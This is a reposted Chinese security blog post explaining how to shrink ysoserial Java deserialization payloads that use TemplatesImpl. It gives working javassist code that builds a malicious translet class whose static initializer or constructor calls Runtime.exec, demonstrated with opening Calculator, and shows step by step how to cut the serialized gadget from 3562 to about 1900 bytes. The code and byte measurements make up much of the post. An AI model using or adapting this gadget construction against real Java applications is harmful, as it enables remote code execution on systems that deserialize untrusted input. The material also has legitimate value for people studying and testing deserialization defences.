缩小ysoserial payload体积的几个方法

2019-09-09 约 186 字 预计阅读 1 分钟

声明:本文 【缩小ysoserial payload体积的几个方法】 由作者 博瑞的西门吹雪 于 2019-09-09 09:14:48 首发 先知社区 曾经 浏览数 125 次

感谢 博瑞的西门吹雪 的辛苦付出!

缩小ysoserial payload体积的几个方法

ysoserial中不少payload使用TemplatesImpl进行构造,在学习ysoserial的过程中,发现可以通过修改createTemplatesImpl方法的一些代码使ysoserial生成的payload更小一些。

先看下ysoserial中createTemplatesImpl方法的主要流程,首先创建一个TemplatesImpl对象,使用javassist开始构造恶意类,首先获取一个ClassPool对象,将StubTransletPayload类和AbstractTranslet类添加到pool的类加载路径中,然后获取StubTransletPayload类,并使用javassist对类进行修改,插入静态代码块,然后将父类设置为AbstractTranslet,设置TemplatesImpl对象的_name,_tfactory,_bytecodes字段。

以下测试使用CommonsCollections3生成payload执行open /Applications/Calculator.app命令

1. 修改_bytecode字段内容

在ysoserial中,_bytecode数组中包含两个元素,一个是用于代码执行的类,另外一个是没有内容的类,跟进TemplatesImpl类的defineTransletClasses方法。

与命令执行相关的两个重要的字段分别是this._classthis._transletIndex,这段代码对_bytecode数组中的类进行遍历,如果类的父类是AbstractTranslet类,那么就把_transletIndex设置成对应的index,所以只要恶意类在_bytecode数组中,并且父类是AbstractTranslet即可

于是可以将

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});

修改为以下代码

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});

生成的payload从3562字节缩小到3084字节

2. 删除_tfactory字段

ysoserial中对_tfactory进行了赋值

Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

TemplatesImpl类中_tfactory字段被transient修饰,是不参与序列化的,所以可以直接删除,既然是不参与序列化的,所以删除之后payload大小不会发生改变

3. 修改StubTransletPayload类

StubTransletPayload类代码继承了AbstractTranslet实现序列化接口,并重写了transform方法。

上边提到了恶意类的父类必须是AbstractTranslet,但是生成的类,被转化成了字节码存在了_bytecodes中,所以序列化过程也没有他什么事情,就可以去掉Serializable接口了

StubTransletPayload通过直接extends方式指定父类是AbstractTranslet,为了编译通过就得实现+重写这一堆transform方法,但是实际上在TemplatesImpl类中,只需要类的父类是AbstractTranslet就可以了,只需要保留个类名就可以了

public static class StubTransletPayload  {}

生成的payload从到3084字节缩小到2177字节

4. 使用javassist创建类

直接使用javassist创建一个类看下会有什么效果
使用

final CtClass clazz = pool.makeClass("StubTransletPayload");

代替

pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
...
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

生成的payload从到2177字节缩小到1912字节

看下使用写好的StubTransletPayload和使用javassist直接创建类的区别

直接使用StubTransletPayload类

使用javassist直接创建

可以看到constant_pool中少了很多内容

最终代码

private static Object createTemplatesImpl() throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, IOException, NoSuchFieldException {
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    ClassPool classPool = ClassPool.getDefault();
    classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass clazz = classPool.makeClass(String.valueOf(System.nanoTime()));
    String string = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
    clazz.makeClassInitializer().insertAfter(string);
    CtClass superC = classPool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superC);
    final byte[] classBytes = clazz.toBytecode();
    Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
    bcField.setAccessible(true);
    bcField.set(templates, new byte[][] {classBytes});
    Field nameField = TemplatesImpl.class.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates, "a");
    clazz.writeFile();
    return templates;
}

还可以更小一点,比如用javassist创建类的时候把类名设置成1

遇到的一些小问题:

在测试中分别看了下用静态代码块和构造函数,如果用javassist直接创建类,可以直接用

CtConstructor ctConstructor = new CtConstructor(new CtClass[] {}, clazz);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
clazz.addConstructor(ctConstructor);

添加一个构造器,如果修改已经写好的类,因为对没有显示指定构造方法的类编译器在编译时会自动给加上默认的构造方法,所以不能直接增加这样一个构造方法,需要先删除编译器加上的默认构造方法,或者直接对他进行修改

CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0];
clazz.removeConstructor(ctConstructor);
CtConstructor newCtConstructor = new CtConstructor(new CtClass[] {}, clazz);
newCtConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
clazz.addConstructor(newCtConstructor);

CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0];
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");

学习ysoserial过程中的一些想法吧,虽然把payload缩小点实际也用处不大,了解下万一以后有机会用的到了呢。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now